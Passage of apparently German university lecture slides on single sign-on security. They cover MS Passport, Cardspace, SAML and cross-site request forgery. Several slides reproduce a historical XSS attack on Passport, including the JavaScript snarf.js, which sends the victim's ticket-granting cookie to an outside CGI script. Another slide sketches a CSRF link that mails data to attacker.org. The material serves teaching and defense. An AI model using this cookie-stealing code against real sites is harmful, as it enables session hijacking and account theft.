MS Passport: CSS-Angriff von Marc Slemko Schritt 4: Laden von ppsecure/404please und snarf.js. 2 5 alive.znep.com http://www.hotmail.com From: Jennifer Sparks <xxx@xxx.xxxx> Hi Ted.. grabit.html ppsecure/404please register.passport.com/reg.srf snarf.js 1 hotmail.com 3 4 opfer@hotmail.com passport.com 86
MS Passport: CSS-Angriff von Marc Slemko Schritt 5: Ausführen von snarf.js und Stehlen des Ticket Granting cookie. s = new String(document.URL); if (s.indexof('http:') == 0) { } else { } settimeout('document.location="https:" + s.substring(5, s.length-1, 1000)'); document.location="http://alive.znep.com/~marcs/ passport/snarf.cgi?cookies=" + escape(parent.frames[0].document.cookie); 87
MS Passport: CSS-Angriff von Marc Slemko Schritt 5: Ausführen von snarf.js und Stehlen des Ticket Granting cookie. http://www.hotmail.com From: Jennifer Sparks <xxx@xxx.xxxx> alive.znep.com Ticket granting Cookie Hi Ted.. grabit.html ppsecure/404please register.passport.com/reg.srf snarf.js hotmail.com opfer@hotmail.com passport.com 88
Gliederung 1. Kerberos 2. Kerberos v5 und Microsofts Active Directory 3. HTTP und Cookies 4. MS Passport 5. Javascript 6. XSS-Angriff von Marc Slemko 7. Ausblick: MS Cardspace und SAML 89
Ausblick MS Cardspace ist der Nachfolger von MS Passport Identitäten und Geheimnisse werden als Karten verwaltet 90
MS Passport: Generic Weaknesses Browser Server Kerberos Server Request Data Redirect: Authorization req. Cookie(c) SSL Handshake with(out) Server Authentication Redirect + Set-Cookie(c = Enc (ticket)) KS SSL Handshake with(out) Server Authentication Access Cookie c by Cross Site Scripting Data Access Cookie c by DNS/PKI spoofing 91
MS Cardspace 2c Click Client Browser HTTP/GET to protected page 1a 1b 2a 2b 3 HTTPS/GET to login page GetBrowserToken(RP Policy) 4 Select Identity Identity Selector HTTP/redirect to login page HTTPS login page Relying Party Policy HTML information card tag Identity Provider 9 10 11 Identity needs credentials 5 6 7 8 Return security token HTTPS/POST with security token WS-MEX GetMetadata Request WS-MEX GetMetadata Response WS-Trust RST Request (user credentials) WS-Trust RSTR Response (security token) Token Our Attack: Access Security Token through dynamic Pharming HTTP/redirect with session cookie Quelle: Microsoft 92
SAML Artifact Profile Browser Server SAML Server Request Data Redirect:SAML Token req. SSL Handshake with(out) Server Authentication Authenticate and Request SAML Token Redirect + Send SAML Artifact Access SAML Artifact by Cross Site Scripting SSL Handshake SAML Artifact SAML Artifact SAML Token Data Generate and store SAML token Access SAML Artifact by DNS/PKI spoofing Quelle: Microsoft 93
Securing SSO Protocols Browser Server Kerberos Server Request Data Redirect: Authorization req. Cookie(c) SSL Handshake with Client Authentication Key PK C Redirect + Set-Cookie(c = Enc KS(PK C)) SSL Handshake with Client Authentication Key PK C Data Dec KS(c) = PK C? 94
Securing SSO Protocols Browser Server Kerberos Server Request Data Redirect: Authorization req. Cookie(c) Data SSL Handshake with Client Authentication Key PK C Redirect + Set-Cookie(c = Enc KS(PK C)) SSL Handshake with Client Authentication Key PK C Dec KS(c) = PK C? Cookie c can still be stolen via XSS or DNS/PKI spoofing... but it is now bound to the browser! 95
Ausblick: Cross Site Request Forgery Schritt 2: Einloggen des Opfers bei Hotmail. 1: Login auf NY Times Webseite 3: http-link (z.b. in einem <img>-tag) enthält Query-String mit dem Befehl, eine E-Mail an collect@attacker.org zu senden. nytimes.com Victim 2: Anschauen der Webseite des Angreifers http://www.freedom-to-tinker.com/blog/wzeller/popularwebsites-vulnerable-cross-site-request-forgery-attacks attacker.org 96
Ausblick: Cross Site Request Forgery 1. ING Direct (ingdirect.com) Status: Fixed 2. YouTube (youtube.com) Status: Fixed 3. MetaFilter (metafilter.com) Status: Fixed 4. The New York Times (nytimes.com) Status: Fixed. http://www.freedom-to-tinker.com/blog/wzeller/popularwebsites-vulnerable-cross-site-request-forgery-attacks 97